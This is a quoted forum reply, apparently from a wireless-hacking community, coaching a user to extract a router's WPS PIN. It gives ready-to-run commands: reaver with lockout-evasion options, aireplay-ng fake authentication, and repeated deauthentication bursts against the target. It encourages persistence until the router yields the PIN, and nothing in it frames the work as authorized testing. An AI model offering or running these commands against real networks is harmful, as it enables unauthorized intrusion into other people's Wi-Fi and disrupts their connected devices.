Originally Posted by
mmusket33
To: FurquanHanif
The question should not be why but how. People in these forums are trying to help you. If you do not want to use prepared tools then try to get the router to respond manually thru terminal windows. Here is a simple method:
See if the router will respond to aireplay-ng
Start reaver with a channel setting we suggest you use this command line. You must set a channel or aireplay-ng will not function.
Leave it running
Open a terminal window
reaver -i mon0 -a -f -c 6 -b xx:xx:xx:xx:xx:xx -r 3:10 -S -E -vv -N -T 1 -t 20 -d 0 -x 30
Set the correct channel and mac address
Open another terminal window
aireplay-ng -1 10 -a xx:xx:xx:xx:xx:xx mon0
Leave it running
Now Hit the router with some deauths
Open a third terminal window
aireplay-ng -0 10 -a xx:xx:xx:xx:xx mon0
Hit the router a few times with short deauth bursts
Do not give up. We have had long unresponsive routers suddenly give up the WPS pin with one request from reaver.
These are simple methods. More advance techniques require automated scripts.
MTeams
Member
Posting Permissions
